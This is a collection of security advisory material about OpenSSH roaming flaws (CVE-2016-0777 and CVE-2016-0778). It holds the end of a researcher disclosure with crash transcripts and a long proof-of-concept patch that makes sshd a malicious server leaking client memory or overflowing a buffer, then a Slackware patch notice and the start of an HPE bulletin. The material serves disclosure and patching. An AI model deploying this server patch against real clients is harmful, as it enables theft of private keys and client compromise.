3. Surprisingly, we discovered a file descriptor leak in the
ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor
sp[1] is never close()d:
101 static int
102 ssh_proxy_fdpass_connect(const char *host, u_short port,
103 const char *proxy_command)
104 {
...
106 int sp[2], sock;
...
113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0)
114 fatal("Could not create socketpair to communicate with "
115 "proxy dialer: %.100s", strerror(errno));
...
161 close(sp[0]);
...
164 if ((sock = mm_receive_fd(sp[1])) == -1)
165 fatal("proxy dialer did not pass back a connection");
...
171 /* Set the connection file descriptors. */
172 packet_set_connection(sock, sock);
173
174 return 0;
175 }
However, two different reasons prevent this file descriptor leak from
triggering the setp overflow:
- The method ssh_proxy_fdpass_connect() communicates with the server
through a single socket received from the ProxyCommand: the two file
descriptors connection_in and connection_out are both equal to this
socket's file descriptor.
In wait_for_roaming_reconnect(), the low-numbered file descriptor of
the old socket is close()d by packet_backup_state(), reused for sp[0]
in ssh_proxy_fdpass_connect(), close()d again, and eventually reused
again for the new socket: the new file descriptors connection_in and
connection_out are equal to this old, low-numbered file descriptor,
and cannot possibly overflow setp.
- Because of the waitpid() bug described in the Mitigating Factors of
the Information Leak section, the method ssh_proxy_fdpass_connect()
calls fatal() before it returns to wait_for_roaming_reconnect(), and
is therefore immune to this buffer overflow.
4. The method ssh_proxy_connect() communicates with the server through a
ProxyCommand and two different pipes: the file descriptor connection_in
is the read end of the second pipe (pout[0]), and the file descriptor
connection_out is the write end of the first pipe (pin[1]):
180 static int
181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)
182 {
...
184 int pin[2], pout[2];
...
192 if (pipe(pin) < 0 || pipe(pout) < 0)
193 fatal("Could not create pipes to communicate with the proxy: %.100s",
194 strerror(errno));
...
240 /* Close child side of the descriptors. */
241 close(pin[0]);
242 close(pout[1]);
...
247 /* Set the connection file descriptors. */
248 packet_set_connection(pout[0], pin[1]);
249
250 /* Indicate OK return */
251 return 0;
252 }
In wait_for_roaming_reconnect(), the two old, low-numbered file
descriptors connection_in and connection_out are both close()d by
packet_backup_state(), and immediately reused for the pipe(pin) in
ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of
these old, low-numbered file descriptors, and cannot possibly overflow
setp.
On the other hand, the pipe(pout) in ssh_proxy_connect() may return
high-numbered file descriptors, and the new connection_in (pout[0]) may
therefore overflow setp, if hundreds of file descriptors were leaked
before the call to wait_for_roaming_reconnect():
- We discovered a file descriptor leak in the pubkey_prepare() function
of OpenSSH >= 6.8; indeed, if the client is running an authentication
agent that does not offer any private keys, the reference to agent_fd
is lost, and this file descriptor is never close()d:
1194 static void
1195 pubkey_prepare(Authctxt *authctxt)
1196 {
....
1200 int agent_fd, i, r, found;
....
1247 if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) {
1248 if (r != SSH_ERR_AGENT_NOT_PRESENT)
1249 debug("%s: ssh_get_authentication_socket: %s",
1250 __func__, ssh_err(r));
1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) {
1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES)
1253 debug("%s: ssh_fetch_identitylist: %s",
1254 __func__, ssh_err(r));
1255 } else {
....
1288 authctxt->agent_fd = agent_fd;
1289 }
....
1299 }
However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state()
(because of the NULL-pointer dereference discussed in the Mitigating
Factors of the Buffer Overflow section) and are immune to the setp
overflow, despite this agent_fd leak.
- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH
client (it is disabled by default), a malicious SSH server can request
hundreds of forwardings, in order to increase connection_in (each
forwarding opens a file descriptor), and thus overflow setp in
packet_read_seqnr():
# env ROAMING="overflow:A" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014
$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
*** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 ***
Aborted (core dumped)
# env ROAMING="overflow:X" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
*** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***
*** Error in `/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***
Finally, a brief digression on two unexpected problems that had to be
solved in our proof-of-concept:
- First, setp can be overflowed only in packet_read_seqnr(), not in
packet_write_wait(), but agent forwarding and X11 forwarding are post-
authentication functionalities, and post-authentication calls to
packet_read() or packet_read_expect() are scarce, except in the
key-exchange code of OpenSSH clients < 6.8: our proof-of-concept
effectively forces a rekeying in order to overflow setp in
packet_read_seqnr().
- Second, after a successful reconnection, packet_read_seqnr() may call
fatal("Read from socket failed: %.100s", ...), because roaming_read()
may return EAGAIN (EAGAIN is never returned without the reconnection,
because the preceding call to select() guarantees that connection_in
is ready for read()). Our proof-of-concept works around this problem
by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,
allowing data to reach the client before roaming_read() is called,
thus avoiding EAGAIN.
========================================================================
Acknowledgments
========================================================================
We would like to thank the OpenSSH developers for their great work and
their incredibly quick response, Red Hat Product Security for promptly
assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall
Project for the interesting discussions.
========================================================================
Proof Of Concept
========================================================================
diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c
--- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700
+++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800
@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)
* if a user is not allowed to login. is this an
* issue? -markus
*/
- if (PRIVSEP(user_key_allowed(authctxt->pw, key))) {
+ if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) {
+ debug("%s: force client-side load_identity_file",
+ __func__);
packet_start(SSH2_MSG_USERAUTH_PK_OK);
packet_put_string(pkalg, alen);
packet_put_string(pkblob, blen);
diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c
--- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700
+++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800
@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],
}
static void
+roaming_reconnect(void)
+{
+ packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);
+ const u_int id = packet_get_int(); /* roaming_id */
+ debug("%s: id %u", __func__, id);
+ packet_check_eom();
+
+ const char *const dir = get_roaming_dir(id);
+ debug("%s: dir %s", __func__, dir);
+ const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+ if (fd <= -1)
+ fatal("%s: open %s errno %d", __func__, dir, errno);
+ if (fchdir(fd) != 0)
+ fatal("%s: fchdir %s errno %d", __func__, dir, errno);
+ if (close(fd) != 0)
+ fatal("%s: close %s errno %d", __func__, dir, errno);
+
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);
+ packet_put_int64(arc4random()); /* chall */
+ packet_put_int64(arc4random()); /* oldchall */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);
+ const u_int64_t client_read_bytes = packet_get_int64();
+ debug("%s: client_read_bytes %llu", __func__,
+ (unsigned long long)client_read_bytes);
+ packet_get_int64(); /* digest (1-8) */
+ packet_get_int64(); /* digest (9-16) */
+ packet_get_int(); /* digest (17-20) */
+ packet_check_eom();
+
+ u_int64_t client_write_bytes;
+ size_t len = sizeof(client_write_bytes);
+ load_roaming_file("client_write_bytes", &client_write_bytes, &len);
+ debug("%s: client_write_bytes %llu", __func__,
+ (unsigned long long)client_write_bytes);
+
+ u_int client_out_buf_size;
+ len = sizeof(client_out_buf_size);
+ load_roaming_file("client_out_buf_size", &client_out_buf_size, &len);
+ debug("%s: client_out_buf_size %u", __func__, client_out_buf_size);
+ if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF)
+ fatal("%s: client_out_buf_size %u", __func__,
+ client_out_buf_size);
+
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);
+ packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);
+ packet_send();
+ const int overflow = (access("output", F_OK) == 0);
+ if (overflow != 0) {
+ const void *const ptr = load_roaming_file("output", NULL, &len);
+ buffer_append(packet_get_output(), ptr, len);
+ }
+ packet_write_wait();
+
+ char *const client_out_buf = xmalloc(client_out_buf_size);
+ if (atomicio(read, packet_get_connection_in(), client_out_buf,
+ client_out_buf_size) != client_out_buf_size)
+ fatal("%s: read client_out_buf_size %u errno %d", __func__,
+ client_out_buf_size, errno);
+ if (overflow == 0)
+ dump_roaming_file("infoleak", client_out_buf,
+ client_out_buf_size);
+ fatal("%s: all done for %s", __func__, dir);
+}
+
+static void
kex_choose_conf(Kex *kex)
{
Newkeys *newkeys;
@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)
kex->roaming = 1;
free(roaming);
}
+ } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {
+ roaming_reconnect();
+ /* NOTREACHED */
+ fatal("%s: returned from %s", __func__, KEX_RESUME);
}
/* Algorithm Negotiation */
diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h
--- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800
+++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800
@@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t *);
void calculate_new_key(u_int64_t *, u_int64_t, u_int64_t);
int resume_kex(void);
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "atomicio.h"
+#include "log.h"
+#include "xmalloc.h"
+
+static inline char *
+get_roaming_dir(const u_int id)
+{
+ const size_t buflen = MAXPATHLEN;
+ char *const buf = xmalloc(buflen);
+
+ if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen)
+ fatal("%s: snprintf %u error", __func__, id);
+ return buf;
+}
+
+static inline void
+dump_roaming_file(const char *const name,
+ const void *const buf, const size_t buflen)
+{
+ if (name == NULL)
+ fatal("%s: name %p", __func__, name);
+ if (strchr(name, '/') != NULL)
+ fatal("%s: name %s", __func__, name);
+ if (buf == NULL)
+ fatal("%s: %s buf %p", __func__, name, buf);
+ if (buflen <= 0 || buflen > MAX_ROAMBUF)
+ fatal("%s: %s buflen %lu", __func__, name, (u_long)buflen);
+
+ const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);
+ if (fd <= -1)
+ fatal("%s: open %s errno %d", __func__, name, errno);
+ if (write(fd, buf, buflen) != (ssize_t)buflen)
+ fatal("%s: write %s errno %d", __func__, name, errno);
+ if (close(fd) != 0)
+ fatal("%s: close %s errno %d", __func__, name, errno);
+}
+
+static inline void *
+load_roaming_file(const char *const name,
+ void *buf, size_t *const buflenp)
+{
+ if (name == NULL)
+ fatal("%s: name %p", __func__, name);
+ if (strchr(name, '/') != NULL)
+ fatal("%s: name %s", __func__, name);
+ if (buflenp == NULL)
+ fatal("%s: %s buflenp %p", __func__, name, buflenp);
+
+ const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+ if (fd <= -1)
+ fatal("%s: open %s errno %d", __func__, name, errno);
+ struct stat st;
+ if (fstat(fd, &st) != 0)
+ fatal("%s: fstat %s errno %d", __func__, name, errno);
+ if (S_ISREG(st.st_mode) == 0)
+ fatal("%s: %s mode 0%o", __func__, name, (u_int)st.st_mode);
+ if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF)
+ fatal("%s: %s size %lld", __func__, name,
+ (long long)st.st_size);
+
+ if (buf == NULL) {
+ *buflenp = st.st_size;
+ buf = xmalloc(*buflenp);
+ } else {
+ if (*buflenp != (size_t)st.st_size)
+ fatal("%s: %s size %lld buflen %lu", __func__, name,
+ (long long)st.st_size, (u_long)*buflenp);
+ }
+ if (read(fd, buf, *buflenp) != (ssize_t)*buflenp)
+ fatal("%s: read %s errno %d", __func__, name, errno);
+ if (close(fd) != 0)
+ fatal("%s: close %s errno %d", __func__, name, errno);
+ return buf;
+}
+
#endif /* ROAMING */
diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c
--- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700
+++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800
@@ -1060,6 +1060,9 @@ server_request_session(void)
return c;
}
+static int client_session_channel = -1;
+static int server_session_channel = -1;
+
static void
server_input_channel_open(int type, u_int32_t seq, void *ctxt)
{
@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in
c->remote_window = rwindow;
c->remote_maxpacket = rmaxpack;
if (c->type != SSH_CHANNEL_CONNECTING) {
+ debug("%s: avoid client-side buf_append", __func__);
+ /*
packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
packet_put_int(c->remote_id);
packet_put_int(c->self);
packet_put_int(c->local_window);
packet_put_int(c->local_maxpacket);
packet_send();
+ */
+ if (strcmp(ctype, "session") == 0) {
+ if (client_session_channel != -1)
+ fatal("%s: client_session_channel %d",
+ __func__, client_session_channel);
+ client_session_channel = c->remote_id;
+ server_session_channel = c->self;
+ }
}
} else {
debug("server_input_channel_open: failure %s", ctype);
@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in
}
static void
+roaming_disconnect(Kex *const kex)
+{
+ const char *cp, *roaming = getenv("ROAMING");
+ if (roaming == NULL)
+ roaming = "infoleak";
+ int overflow = 0;
+ if ((cp = strstr(roaming, "overflow:")) != NULL)
+ overflow = cp[9];
+
+ const u_int client_recv_buf_size = packet_get_int();
+ packet_check_eom();
+ const u_int server_recv_buf_size = get_recv_buf_size();
+ const u_int server_send_buf_size = get_snd_buf_size();
+ debug("%s: client_recv_buf_size %u", __func__, client_recv_buf_size);
+ debug("%s: server_recv_buf_size %u", __func__, server_recv_buf_size);
+ debug("%s: server_send_buf_size %u", __func__, server_send_buf_size);
+
+ u_int client_send_buf_size = 0;
+ if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL)
+ client_send_buf_size = strtoul(cp + 21, NULL, 0);
+ else if (client_recv_buf_size == DEFAULT_ROAMBUF)
+ client_send_buf_size = DEFAULT_ROAMBUF;
+ else {
+ const u_int
+ max = MAX(client_recv_buf_size, server_recv_buf_size),
+ min = MIN(client_recv_buf_size, server_recv_buf_size);
+ if (min <= 0)
+ fatal("%s: min %u", __func__, min);
+ if (((u_int64_t)(max - min) * 1024) / min < 1)
+ client_send_buf_size = server_send_buf_size;
+ else
+ client_send_buf_size = client_recv_buf_size;
+ }
+ debug("%s: client_send_buf_size %u", __func__, client_send_buf_size);
+ if (client_send_buf_size <= 0)
+ fatal("%s: client_send_buf_size", __func__);
+
+ u_int id = 0;
+ char *dir = NULL;
+ for (;;) {
+ id = arc4random();
+ debug("%s: id %u", __func__, id);
+ free(dir);
+ dir = get_roaming_dir(id);
+ if (mkdir(dir, S_IRWXU) == 0)
+ break;
+ if (errno != EEXIST)
+ fatal("%s: mkdir %s errno %d", __func__, dir, errno);
+ }
+ debug("%s: dir %s", __func__, dir);
+ if (chdir(dir) != 0)
+ fatal("%s: chdir %s errno %d", __func__, dir, errno);
+
+ u_int client_out_buf_size = 0;
+ if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL)
+ client_out_buf_size = strtoul(cp + 20, NULL, 0);
+ else if (overflow != 0)
+ client_out_buf_size = MAX_ROAMBUF;
+ else
+ client_out_buf_size = 1 + arc4random() % 4096;
+ debug("%s: client_out_buf_size %u", __func__, client_out_buf_size);
+ if (client_out_buf_size <= 0)
+ fatal("%s: client_out_buf_size", __func__);
+ dump_roaming_file("client_out_buf_size", &client_out_buf_size,
+ sizeof(client_out_buf_size));
+
+ if ((cp = strstr(roaming, "scp_mode")) != NULL) {
+ if (overflow != 0)
+ fatal("%s: scp_mode is incompatible with overflow %d",
+ __func__, overflow);
+
+ u_int seconds_left_to_sleep = 3;
+ if ((cp = strstr(cp, "sleep:")) != NULL)
+ seconds_left_to_sleep = strtoul(cp + 6, NULL, 0);
+ debug("%s: sleep %u", __func__, seconds_left_to_sleep);
+
+ if (client_session_channel == -1)
+ fatal("%s: client_session_channel %d",
+ __func__, client_session_channel);
+
+ packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
+ packet_put_int(client_session_channel);
+ packet_put_int(server_session_channel);
+ packet_put_int(0); /* server window */
+ packet_put_int(0); /* server maxpacket */
+ packet_send();
+
+ packet_start(SSH2_MSG_CHANNEL_DATA);
+ packet_put_int(client_session_channel);
+ packet_put_string("\0\n", 2); /* response&source|sink&run_err */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_CHANNEL_REQUEST);
+ packet_get_int(); /* server channel */
+ debug("%s: channel request %s", __func__,
+ packet_get_cstring(NULL));
+
+ while (seconds_left_to_sleep)
+ seconds_left_to_sleep = sleep(seconds_left_to_sleep);
+ }
+
+ packet_start(SSH2_MSG_REQUEST_SUCCESS);
+ packet_put_int(id); /* roaming_id */
+ packet_put_int64(arc4random()); /* cookie */
+ packet_put_int64(0); /* key1 */
+ packet_put_int64(0); /* key2 */
+ packet_put_int(client_out_buf_size - client_send_buf_size);
+ packet_send();
+ packet_write_wait();
+
+ if (overflow != 0) {
+ const u_int64_t full_client_out_buf = get_recv_bytes() +
+ client_out_buf_size;
+
+ u_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */
+ if ((cp = strstr(roaming, "fd_leaks:")) != NULL)
+ fd_leaks = strtoul(cp + 9, NULL, 0);
+ debug("%s: fd_leaks %u", __func__, fd_leaks);
+
+ while (fd_leaks--) {
+ packet_start(SSH2_MSG_CHANNEL_OPEN);
+ packet_put_cstring(overflow == 'X' ? "x11" :
+ "auth-agent@openssh.com"); /* ctype */
+ packet_put_int(arc4random()); /* server channel */
+ packet_put_int(arc4random()); /* server window */
+ packet_put_int(arc4random()); /* server maxpacket */
+ if (overflow == 'X') {
+ packet_put_cstring(""); /* originator */
+ packet_put_int(arc4random()); /* port */
+ }
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
+ packet_get_int(); /* server channel */
+ packet_get_int(); /* client channel */
+ packet_get_int(); /* client window */
+ packet_get_int(); /* client maxpacket */
+ packet_check_eom();
+ }
+
+ while (get_recv_bytes() <= full_client_out_buf) {
+ packet_start(SSH2_MSG_GLOBAL_REQUEST);
+ packet_put_cstring(""); /* rtype */
+ packet_put_char(1); /* want_reply */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_REQUEST_FAILURE);
+ packet_check_eom();
+ }
+
+ if (kex == NULL)
+ fatal("%s: no kex, cannot rekey", __func__);
+ if (kex->flags & KEX_INIT_SENT)
+ fatal("%s: KEX_INIT_SENT already", __func__);
+ char *const ptr = buffer_ptr(&kex->my);
+ const u_int len = buffer_len(&kex->my);
+ if (len <= 1+4) /* first_kex_follows + reserved */
+ fatal("%s: kex len %u", __func__, len);
+ ptr[len - (1+4)] = 1; /* first_kex_follows */
+ kex_send_kexinit(kex);
+
+ u_int i;
+ packet_read_expect(SSH2_MSG_KEXINIT);
+ for (i = 0; i < KEX_COOKIE_LEN; i++)
+ packet_get_char();
+ for (i = 0; i < PROPOSAL_MAX; i++)
+ free(packet_get_string(NULL));
+ packet_get_char(); /* first_kex_follows */
+ packet_get_int(); /* reserved */
+ packet_check_eom();
+
+ char buf[8192*2]; /* two packet_read_seqnr bufferfuls */
+ memset(buf, '\0', sizeof(buf));
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);
+ packet_put_string(buf, sizeof(buf));
+ packet_send();
+ const Buffer *const output = packet_get_output();
+ dump_roaming_file("output", buffer_ptr(output),
+ buffer_len(output));
+ }
+
+ const u_int64_t client_write_bytes = get_recv_bytes();
+ debug("%s: client_write_bytes %llu", __func__,
+ (unsigned long long)client_write_bytes);
+ dump_roaming_file("client_write_bytes", &client_write_bytes,
+ sizeof(client_write_bytes));
+ fatal("%s: all done for %s", __func__, dir);
+}
+
+static void
server_input_global_request(int type, u_int32_t seq, void *ctxt)
{
char *rtype;
@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_
} else if (strcmp(rtype, "no-more-sessions@openssh.com") == 0) {
no_more_sessions = 1;
success = 1;
+ } else if (strcmp(rtype, ROAMING_REQUEST) == 0) {
+ if (want_reply != 1)
+ fatal("%s: rtype %s want_reply %d", __func__,
+ rtype, want_reply);
+ roaming_disconnect(ctxt);
+ /* NOTREACHED */
+ fatal("%s: returned from %s", __func__, ROAMING_REQUEST);
}
if (want_reply) {
packet_start(success ?
diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c
--- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700
+++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800
@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)
}
if (options.kex_algorithms != NULL)
myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;
+ else
+ myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;
if (options.rekey_limit || options.rekey_interval)
packet_set_rekey_limits((u_int32_t)options.rekey_limit,
.
Here are the details from the Slackware 14.1 ChangeLog:
+--------------------------+
patches/packages/openssh-7.1p2-i486-1_slack14.1.txz: Upgraded.
This update fixes an information leak and a buffer overflow. As of version
7.0, OpenSSH has deprecated some older (and presumably less secure)
algorithms, and also (by default) only allows root login by public-key,
hostbased and GSSAPI authentication. Make sure that your keys and
authentication method will allow you to continue accessing your system
after the upgrade.
The release notes for OpenSSH 7.0 list the following incompatible changes
to be aware of:
* Support for the legacy SSH version 1 protocol is disabled by
default at compile time.
* Support for the 1024-bit diffie-hellman-group1-sha1 key exchange
is disabled by default at run-time. It may be re-enabled using
the instructions at http://www.openssh.com/legacy.html
* Support for ssh-dss, ssh-dss-cert-* host and user keys is disabled
by default at run-time. These may be re-enabled using the
instructions at http://www.openssh.com/legacy.html
* Support for the legacy v00 cert format has been removed.
* The default for the sshd_config(5) PermitRootLogin option has
changed from "yes" to "prohibit-password".
* PermitRootLogin=without-password/prohibit-password now bans all
interactive authentication methods, allowing only public-key,
hostbased and GSSAPI authentication (previously it permitted
keyboard-interactive and password-less authentication if those
were enabled).
(* Security fix *)
+--------------------------+
Where to find the new packages:
+-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab
(http://osuosl.org) for donating FTP and rsync hosting
to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for
additional mirror sites near you.
Updated package for Slackware 13.0:
ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/openssh-7.1p2-i486-1_slack13.0.txz
Updated package for Slackware x86_64 13.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/openssh-7.1p2-x86_64-1_slack13.0.txz
Updated package for Slackware 13.1:
ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/openssh-7.1p2-i486-1_slack13.1.txz
Updated package for Slackware x86_64 13.1:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/openssh-7.1p2-x86_64-1_slack13.1.txz
Updated package for Slackware 13.37:
ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/openssh-7.1p2-i486-1_slack13.37.txz
Updated package for Slackware x86_64 13.37:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/openssh-7.1p2-x86_64-1_slack13.37.txz
Updated package for Slackware 14.0:
ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/openssh-7.1p2-i486-1_slack14.0.txz
Updated package for Slackware x86_64 14.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/openssh-7.1p2-x86_64-1_slack14.0.txz
Updated package for Slackware 14.1:
ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/openssh-7.1p2-i486-1_slack14.1.txz
Updated package for Slackware x86_64 14.1:
ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/openssh-7.1p2-x86_64-1_slack14.1.txz
Updated package for Slackware -current:
ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/openssh-7.1p2-i586-1.txz
Updated package for Slackware x86_64 -current:
ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/openssh-7.1p2-x86_64-1.txz
MD5 signatures:
+-------------+
Slackware 13.0 package:
856dd9c1b10641c282f30a34b7b63bea openssh-7.1p2-i486-1_slack13.0.txz
Slackware x86_64 13.0 package:
80903b0829f0284d007e7a316f2ff2da openssh-7.1p2-x86_64-1_slack13.0.txz
Slackware 13.1 package:
2095d1a304a94bab44993fdb7e0781c8 openssh-7.1p2-i486-1_slack13.1.txz
Slackware x86_64 13.1 package:
5bf653d7f5b4a9426ff2c5888af99f00 openssh-7.1p2-x86_64-1_slack13.1.txz
Slackware 13.37 package:
53e09b4371c045b9de1c86e0826324f9 openssh-7.1p2-i486-1_slack13.37.txz
Slackware x86_64 13.37 package:
cd0319ff3c574c50612d5ba2b38f2fdc openssh-7.1p2-x86_64-1_slack13.37.txz
Slackware 14.0 package:
98cdc1d6ffea2a06d0c8013078681bff openssh-7.1p2-i486-1_slack14.0.txz
Slackware x86_64 14.0 package:
2093f3e91a79e07f072c702a1704be73 openssh-7.1p2-x86_64-1_slack14.0.txz
Slackware 14.1 package:
d051d9f31cd380436ad01fa1641be1c7 openssh-7.1p2-i486-1_slack14.1.txz
Slackware x86_64 14.1 package:
f1f81757431c3c836f06ce5d22e2d5de openssh-7.1p2-x86_64-1_slack14.1.txz
Slackware -current package:
70db20c5e4152bc9967b1e24cf91ed98 n/openssh-7.1p2-i586-1.txz
Slackware x86_64 -current package:
e13dc3da27f817bee693fbb907015817 n/openssh-7.1p2-x86_64-1.txz
Installation instructions:
+------------------------+
Upgrade the package as root:
# upgradepkg openssh-7.1p2-i486-1_slack14.1.txz
Next, restart the sshd daemon:
# sh /etc/rc.d/rc.sshd restart
Then before logging out, make sure that you still have remote access!
See the information about incompatible changes in OpenSSH 7.x above.
+-----+
Slackware Linux Security Team
http://slackware.com/gpg-key
security@slackware.com
+------------------------------------------------------------------------+
| To leave the slackware-security mailing list: |
+------------------------------------------------------------------------+
| Send an email to majordomo@slackware.com with this text in the body of |
| the email message: |
| |
| unsubscribe slackware-security |
| |
| You will get a confirmation message back containing instructions to |
| complete the process. Please do not reply to this email address.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Note: the current version of the following document is available here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c05247375
Version: 1
HPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System
(vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information,
Remote Denial of Service (DoS), Remote Disclosure of Information
NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.
Release Date: 2016-08-29
Last Updated: 2016-08-29
Potential Security Impact: Remote Denial of Service (DoS), Disclosure of
Information, Unauthorized Modification Of Information
Source: Hewlett Packard Enterprise, Product Security Response Team
VULNERABILITY SUMMARY
Potential vulnerabilities have been identified in the lighttpd and OpenSSH
version used in HPE Remote Device Access: Virtual Customer Access System
(vCAS). These vulnerabilities could be exploited remotely resulting in
unauthorized modification of information, denial of service (DoS), and
disclosure of information.
References:
CVE-2015-3200
CVE-2016-0777
CVE-2016-0778
PSRT110211
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA
8.1) and earlier.
BACKGROUND
CVSS Base Metrics
=================
Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector
CVE-2015-3200
5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
CVE-2016-0777
6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)
CVE-2016-0778
9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499
RESOLUTION
HPE has made the following updates available to resolve the vulnerabilities
in Remote Device Access: Virtual Customer Access System (vCAS)
vCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and
hp-rdacas-16.05-10482.ova.
The Oracle VirtualBox kit is available at:
